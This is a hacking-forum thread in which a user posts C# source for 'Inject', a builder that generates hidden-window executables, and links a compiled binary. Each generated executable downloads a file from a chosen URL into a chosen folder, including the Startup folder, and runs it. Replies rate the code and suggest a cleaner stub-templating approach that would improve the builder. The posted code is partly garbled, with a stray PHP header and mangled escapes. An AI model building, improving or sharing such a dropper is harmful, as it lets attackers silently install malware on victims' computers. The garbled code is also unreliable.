

Forum:[Hack Forums](#)

Thread: [Inject \(downloader\)](#) | [Open source](#)

CrypticX - February 16, 2015, 7:43 am

Hi there

I've coded a downloader in C# .NET Framework 2.0. And I thought I'm going to make it open source.

Here's the code:

PHP Code

```
<?php
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.CodeDom;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.IO;
using System.Runtime.InteropServices;

namespace Inject
{
    public partial class Form1 : Form
    {
        RichTextBox rtb1 = new RichTextBox();
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            comboBox1.SelectedIndex = 0;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            StreamWriter sw = new StreamWriter(Application.StartupPath.ToString() + "\\compile.txt", false);
            sw.WriteLine("using System;");
            sw.WriteLine("using System.Collections.Generic;");
            sw.WriteLine("using System.Text;");
            sw.WriteLine("using System.Diagnostics;");
            sw.WriteLine("using System.Net;");
```

```

sw.WriteLine("using System.Runtime.InteropServices;");
sw.WriteLine("using System.IO;");
sw.WriteLine("");
sw.WriteLine("");
sw.WriteLine("namespace temp");
sw.WriteLine("{");
sw.WriteLine("    class Program");
sw.WriteLine("    {");
sw.WriteLine("        [DllImport(" + "\"" + "kernel32.dll" + "\"" + ")]");
sw.WriteLine("        static extern IntPtr GetConsoleWindow();");
sw.WriteLine("        [DllImport(" + "\"" + "user32.dll" + "\"" + ")]");
sw.WriteLine("        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);");
sw.WriteLine("        const int SW_HIDE = 0;");
sw.WriteLine("        const int SW_SHOW = 5;");
sw.WriteLine("        static void Main(string[] args)");
sw.WriteLine("        {");
sw.WriteLine("            ShowWindow(GetConsoleWindow(), SW_HIDE);");
sw.WriteLine("            try");
sw.WriteLine("            {");
if (comboBox1.SelectedIndex == 0)
{
    sw.WriteLine("        if (!File.Exists(" +
"Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)" + "+" + "\"" + "\\\" +
textBox2.Text + "\"" + "));");
    sw.WriteLine("        {");
    sw.WriteLine("            WebClient wb = new WebClient();");
    sw.WriteLine("            wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +
"Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)" + "+" + "\"" + "\\\" +
textBox2.Text + "\"" + "));");
    sw.WriteLine("            Process.Start(" +
"Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)" + "+" + "\"" + "\\\" +
textBox2.Text + "\"" + "));");
    }
    if (comboBox1.SelectedIndex == 1)
    {
        sw.WriteLine("        if (!File.Exists(" +
"Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)" + "+" + "\"" + "\\\" +
textBox2.Text + "\"" + "));");
        sw.WriteLine("        {");
        sw.WriteLine("            WebClient wb = new WebClient();");
        sw.WriteLine("            wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +
"Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)" + "+" + "\"" + "\\\" +
textBox2.Text + "\"" + "));");
        sw.WriteLine("            Process.Start(" +
"Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)" + "+" + "\"" + "\\\" +
textBox2.Text + "\"" + "));");
        }
    if (comboBox1.SelectedIndex == 2)
    {
        sw.WriteLine("        if (!File.Exists(" +
"Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)" + "+" + "\"" + "\\\" +
textBox2.Text + "\"" + "));");
        sw.WriteLine("        {");

```

```

        sw.WriteLine("    WebClient wb = new WebClient();");
        sw.WriteLine("    wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +
"Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)"+")" + "@\" + "\"" + "\"\" +
+ textBox2.Text + "\"" + ");");
        sw.WriteLine("    Process.Start(" +
"Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)"+")" + "@\" + "\"" + "\"\" +
+ textBox2.Text + "\"" + ");");
    }
    if (comboBox1.SelectedIndex == 3)
    {
        sw.WriteLine("    if (!File.Exists(" +
"Environment.GetFolderPath(Environment.SpecialFolder.Cookies)"+")" + "@\" + "\"" + "\"\" + textBox2.
Text + "\"" + ");");
        sw.WriteLine("    {");
        sw.WriteLine("        WebClient wb = new WebClient();");
        sw.WriteLine("        wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +
"Environment.GetFolderPath(Environment.SpecialFolder.Cookies)"+")" + "@\" + "\"" + "\"\" + textBox2.
Text + "\"" + ");");
        sw.WriteLine("        Process.Start(" +
"Environment.GetFolderPath(Environment.SpecialFolder.Cookies)"+")" + "@\" + "\"" + "\"\" + textBox2.
Text + "\"" + ");");
    }
    if (comboBox1.SelectedIndex == 4)
    {
        sw.WriteLine("    if (!File.Exists(" +
"Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)"+")" + "@\" + "\"" + "\"\" +
textBox2.Text + "\"" + ");");
        sw.WriteLine("    {");
        sw.WriteLine("        WebClient wb = new WebClient();");
        sw.WriteLine("        wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +
"Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)"+")" + "@\" + "\"" + "\"\" +
textBox2.Text + "\"" + ");");
        sw.WriteLine("        Process.Start(" +
"Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)"+")" + "@\" + "\"" + "\"\" +
textBox2.Text + "\"" + ");");
    }
    if (comboBox1.SelectedIndex == 5)
    {
        sw.WriteLine("    if (!File.Exists(" +
"Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)"+")" + "@\" + "\"" + "\"\" +
textBox2.Text + "\"" + ");");
        sw.WriteLine("    {");
        sw.WriteLine("        WebClient wb = new WebClient();");
        sw.WriteLine("        wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +
"Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)" + "+" + "@\" + "\"" + "\"\" +
+ textBox2.Text + "\"" + ");");
        sw.WriteLine("        Process.Start(" +
"Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)" + "+" + "\" + "\" + "@\" + \""
+ "\"\" + textBox2.Text + "\"" + ");");
    }
    if (comboBox1.SelectedIndex == 6)
    {
        sw.WriteLine("    if (!File.Exists(" +

```

```

"Environment.GetFolderPath(Environment.SpecialFolder.Startup)" + "+" + "\"" + "@\" + "\" +
textBox2.Text + "\"" + "));
    sw.WriteLine("    {");
    sw.WriteLine("        WebClient wb = new WebClient();");
    sw.WriteLine("        wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +
"Environment.GetFolderPath(Environment.SpecialFolder.Startup)" + "+" + "@\" + "\" + textBox2.
Text + "\"" + "));");
    sw.WriteLine("        Process.Start(" +
"Environment.GetFolderPath(Environment.SpecialFolder.Startup)" + "+" + "\"" + "@\" + "\" +
textBox2.Text + "\"" + "));");
    }
    sw.WriteLine("        Environment.Exit(0);");
    sw.WriteLine("    }");
    sw.WriteLine("    else");
    sw.WriteLine("    {");
    sw.WriteLine("        Environment.Exit(0);");
    sw.WriteLine("    }");
    sw.WriteLine("    }");
    sw.WriteLine("    catch (Exception)");
    sw.WriteLine("    {");
    sw.WriteLine("        Main(args);");
    sw.WriteLine("    }");
    sw.WriteLine("    }");
    sw.WriteLine("    }");
    sw.WriteLine("}");
    sw.WriteLine("");
    sw.Close();
    SaveFileDialog sfd = new SaveFileDialog();
    sfd.Filter = "App |*.exe";
    if (sfd.ShowDialog() == DialogResult.OK)
    {
        Compile(Application.StartupPath.ToString() + "\\compile.txt", Path.GetDirectoryName(sfd.
FileName) + "\" + Path.GetFileName(sfd.FileName));
        MessageBox.Show("Succeed!", "Done", MessageBoxButtons.OK, MessageBoxIcon.Information
);
    }
    File.Delete(Application.StartupPath.ToString() + "\\compile.txt");
}

public bool Compile(string sourcefile, string exefile)
{
    CSharpCodeProvider ccp = new CSharpCodeProvider();
    CompilerParameters cp = new CompilerParameters();
    cp.ReferencedAssemblies.Add("System.dll");
    cp.ReferencedAssemblies.Add("System.Data.dll");
    cp.ReferencedAssemblies.Add("System.Xml.dll");
    if (textBox3.Text != "")
    {
        cp.CompilerOptions = @"/win32icon:" + textBox3.Text;
    }
    else
    {
    }
}

```

```

cp.GenerateExecutable = true;
cp.OutputAssembly = exeFile;
cp.GenerateInMemory = false;
CompilerResults cr = ccp.CompileAssemblyFromFile(cp, sourceFile);
if (cr.Errors.Count > 0)
{
    foreach (CompilerError ce in cr.Errors)
    {
        MessageBox.Show(ce.ToString());
    }
    return false;
}
else
{
    return true;
}
}

private void button3_Click(object sender, EventArgs e)
{
    OpenFileDialog ofd = new OpenFileDialog();
    ofd.Filter = "Icon |*.ico";
    if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
    {
        textBox3.Text = ofd.FileName;
    }
}
}
}

```

here's the download link for the exe:

<http://www.filedropper.com/inject>

Please give some feedback, and tell me what you would have done to make it better.

I'm still a beginner, so please take it easy.

EDIT: Could you rate my code out of /10.

Thanks in advance ?

geraldososa - February 16, 2015, 12:09 pm

Nice program, i'll give the code a 2/10.

Programming - February 16, 2015, 12:25 pm

Why not just use the CodeDom function and use a text file resource and use String.Replace() to change / add whatever you need? This is very inefficient.

CrypticX - February 16, 2015, 12:31 pm

(Feb 16, 2015 01:25 PM)Programming Wrote: [CITE](#) Why not just use the CodeDom function and use a text file resource and use String.Replace() to change / add whatever you need? This is very inefficient.

That's very interesting what your saying, could you please explain?

I mean that's what I wanted to try and do, but didn't know how to modify the resource file, so I went looking on google for the solution on how to do it but I saw everyone saying that it was impossible to modify it while on runtime? That's where I changed my mind and did it using streamwriter and compiling it from a file.

EDIT: here's where I've read this:

<http://stackoverflow.com/questions/20772976/reading-string-from-resource-file-and-editing-it-programmatically>

Maybe it's because I didn't understand it good, because English is not my native language.

Cornflower Blue ???-?— - February 16, 2015, 1:08 pm

I think I puked a little, sorry, this code is just horrible.

CrypticX - February 16, 2015, 1:15 pm

(Feb 16, 2015 02:08 PM)Cornflower Blue ???-?— Wrote: [\[CITE\]](#) I think I puked a little, sorry, this code is just horrible.

Thanks for the feedback I'll try to make it better next time ?

Zettabit - February 16, 2015, 1:50 pm

Code: 2/10

Reason: Extremely inefficient.

How to improve:

Using CodeDom like Programming stated would be much more beneficial. As to your problem with "modifying a resource", you don't modify it. You declare local string, and link it to the resource, and edit the string.

Example:

Code void EditOnRuntime()

```
{
    string stub = Properties.Resources.NameOfYourTextFile;
    stub = stub.Replace("the_string_you_want_to_replace", "what_you_want_to_replace_it_with");
    MessageBox.Show(stub);
}
```

In your project, create a text file resource, add your stub (which would be your god awful StreamWriter shit), then replace the strings with your code.

For example, say I had an option for the drop location like you have, I would put this in the stub:
Code some code here

...

#droplocation#

...

more code here

Then I would use String.Replace("#droplocation#", ...); with my selected option.

CrypticX - February 16, 2015, 2:05 pm

(Feb 16, 2015 02:50 PM)Zettabit Wrote: [\[CITE\]](#) Code: 2/10

Reason: Extremely inefficient.

How to improve:

Using CodeDom like Programming stated would be much more beneficial. As to your problem with "modifying a resource", you don't modify it. You declare local string, and link it to the resource, and edit the string.

Example:

Code void EditOnRuntime()

```
{
    string stub = Properties.Resources.NameOfYourTextFile;
    stub = stub.Replace("the_string_you_want_to_replace", "what_you_want_to_replace_it_with");
    MessageBox.Show(stub);
}
```

In your project, create a text file resource, add your stub (which would be your god awful StreamWriter shit), then replace the strings with your code.

For example, say I had an option for the drop location like you have, I would put this in the stub:
Code some code here

...

#droplocation#

...

more code here

Then I would use String.Replace("#droplocation#", ...); with my selected option.

Damn, that easy? Lol do you know what kind of shit I've been through writing everything between sw.WriteLine("");? :p

Thanks for the answer ?

Paradoll - February 16, 2015, 3:00 pm

wow thanks for thissss! i like you !

DarkN3ss61 - February 16, 2015, 9:27 pm

10/10 for handling feedback like a boss :)